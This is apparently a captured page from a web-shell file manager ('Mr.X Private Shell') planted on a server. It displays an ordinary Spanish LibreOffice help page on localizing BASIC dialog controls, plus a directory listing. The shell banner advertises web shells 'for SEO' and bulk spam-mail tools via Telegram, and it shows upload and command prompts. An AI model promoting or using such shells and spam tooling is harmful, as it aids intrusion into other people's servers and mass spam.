__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

[email protected]: ~ $ 
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Traducción de controles en el editor de diálogos</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
<a id="bm_id8915372"></a><meta itemprop="keywords" content="diálogos,traducir">
<meta itemprop="keywords" content="localización de diálogos">
<meta itemprop="keywords" content="traducción de cuadros de diálogo">
<h1 id="hd_id3574896" dir="auto">
<a id="translation"></a>Traducción de controles en el diálogo del editor</h1>
<p id="par_id4601940" class="paragraph" dir="auto">La barra de herramientas Idioma del editor de cuadros de diálogo del EDI de BASIC proporciona controles para activar y gestionar la regionalización de cuadros de diálogo.</p>
<p id="par_id9538560" class="paragraph" dir="auto">De manera predeterminada, cualesquier diálogos que cree solo contendrán recursos de cadenas para un idioma. Quizá quiera crear diálogos que de forma automática muestren cadenas regionalizadas acorde a la configuración lingüística de cada persona usuaria.</p>
<a id="bm_id9421979"></a><p id="par_id6998809" class="paragraph" dir="auto"></p>
<a id="bm_id1646778"></a>
<a id="bm_id1646778"></a>
<a id="bm_id16467781"></a><p id="par_id71413" class="paragraph" dir="auto"></p>
<a id="bm_id1228370"></a><p id="par_id2924283" class="paragraph" dir="auto"></p>
<a id="bm_id1601611"></a><p id="par_id5781731" class="paragraph" dir="auto"></p>
<a id="bm_id733359"></a><p id="par_id6942045" class="paragraph" dir="auto"></p>
<a id="bm_id879849"></a>
<a id="bm_id879849"></a>
<a id="bm_id879848"></a><p id="par_id4721823" class="paragraph" dir="auto"></p>
<a id="bm_id8675191"></a><p id="par_id5806756" class="paragraph" dir="auto"></p>
<h2 id="hd_id6596881" dir="auto">Para activar los cuadros de diálogo regionalizables</h2>
<ol itemprop="HowTo" itemscope="true" itemtype="http://schema.org/HowToSection" dir="auto">
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id8750572" class="paragraph" dir="auto">En el editor de cuadros de diálogo del EDI de BASIC, abra la barra de herramientas Idioma yendo a <span class="menuitem">Ver ▸ Barras de herramientas ▸ Idioma</span>.</p>
<p id="par_id2224494" class="paragraph" dir="auto">Si la biblioteca actual ya contiene un cuadro de diálogo traducible, la barra Idioma se muestra automáticamente.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id7359233" class="paragraph" dir="auto">Pulse en el icono <span class="emph">Gestionar idiomas</span> <img src="media/icon-themes/cmd/sc_managelanguage.svg" class="iconimage" alt="Icono Gestionar idiomas" style="width:16px;height:16px" itemprop="icon" itemscope="true" itemtype="http://schema.org/ImageObject"> en la barra de herramientas Idioma o en la barra Cuadro de herramientas.</p>
<p id="par_id6549272" class="paragraph" dir="auto">Aparecerá el cuadro de diálogo Gestionar idiomas de interfaz de usuario. Esta ventana administra los idiomas de la biblioteca actual. El nombre de la biblioteca actual aparece en la barra de título.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id6529740" class="paragraph" dir="auto">Para agregar un idioma pulse en el botón «Añadir» en el cuadro de diálogo.</p>
<p id="par_id7811822" class="paragraph" dir="auto">Este paso permite que todos los cuadros de diálogo nuevos contengan recursos de cadenas traducibles.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id9121982" class="paragraph" dir="auto">La primera vez que pulse en Añadir, verá el cuadro de diálogo Establecer idioma predeterminado de la interfaz. Las próximas veces que pulse en Añadir, este cuadro de diálogo tendrá el nombre de Añadir idioma a la interfaz.</p>
<p id="par_id3640247" class="paragraph" dir="auto">También es posible cambiar el idioma predeterminado en el cuadro de diálogo «Gestionar los idiomas de la interfaz de usuario».</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3808404" class="paragraph" dir="auto">Seleccione un idioma.</p>
<p id="par_id4585100" class="paragraph" dir="auto">Esto añade recursos de texto que contienen las versiones traducidas de todas las cadenas de las propiedades del cuadro de diálogo. Se copian las cadenas del idioma predeterminado en el conjunto de cadenas nuevo. Posteriormente, podrá cambiar al idioma nuevo y traducir las cadenas.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id2394482" class="paragraph" dir="auto">Cierre el cuadro de diálogo o añada más idiomas.</p>
</li>
</ol>
<h2 id="hd_id631733" dir="auto">Para editar los controles regionalizables del cuadro de diálogo</h2>
<p id="par_id2334665" class="paragraph" dir="auto">Una vez que haya añadido los recursos para cadenas traducibles en sus cuadros de diálogo, podrá seleccionar el idioma actual de la lista «Idioma actual» en la barra Idioma.</p>
<ol itemprop="HowTo" itemscope="true" itemtype="http://schema.org/HowToSection" dir="auto">
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id8956572" class="paragraph" dir="auto">Cambia la lista actual de idiomas a los idiomas predeterminados.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id500808" class="paragraph" dir="auto">Inserte cualquier cantidad de controles al cuadro de diálogo y añada las cadenas que quiera.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id8366649" class="paragraph" dir="auto">Seleccione otro idioma en la lista «Idioma actual».</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id476393" class="paragraph" dir="auto">Mediante las ventanas de propiedades de control, traduzca todas las cadenas en el otro idioma.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id2655720" class="paragraph" dir="auto">Repita el proceso para todos los idiomas que añadió.</p>
</li>
</ol>
<p id="par_id3682058" class="paragraph" dir="auto">Los usuarios de su cuadro de diálogo verán las cadenas en el idioma de interfaz de LibreOffice que hayan definido, si usted ha provisto cadenas para ese idioma.</p>
<p id="par_id5977965" class="paragraph" dir="auto">Si no hay un idioma que este en la versión del usuario, el usuario verá el idioma predeterminado.</p>
<p id="par_id3050325" class="paragraph" dir="auto">Si quien utilice LibreOffice tiene una versión antigua que no reconozca los recursos de cadenas regionalizables para diálogos BASIC, se mostrarán las cadenas en el idioma predefinido.</p>
<a id="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a id="related"></a><span class="emph">Temas relacionados</span></p>
<div class="relatedbody" itemprop="mentions">
<div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/guide/create_dialog.html">Crear un diálogo de Basic</a></p></div>
<div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/guide/insert_control.html">Creación de controles en el Editor de diálogos</a></p></div>
<div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/guide/show_dialog.html">Abrir un cuadro de diálogo con Basic</a></p></div>
<div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/guide/sample_code.html">Ejemplos de programación de controles en el Editor de diálogos</a></p></div>
</div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/guide/translation.xhp" target="_blank">/text/sbasic/guide/translation.xhp</a></p>
<p dir="auto">Title is: Traducción de controles en el editor de diálogos</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

DIR : / usr/ share/ libreoffice/ help/ es/ text/ sbasic/ guide/
Name Type Size Permission Actions
access2base.html File 9 KB 0644
basic_2_python.html File 19.88 KB 0644
basic_examples.html File 5.73 KB 0644
calc_borders.html File 18.93 KB 0644
control_properties.html File 5.74 KB 0644
create_dialog.html File 6.62 KB 0644
insert_control.html File 6.07 KB 0644
read_write_values.html File 19.41 KB 0644
sample_code.html File 11.1 KB 0644
show_dialog.html File 7.01 KB 0644
translation.html File 11.39 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager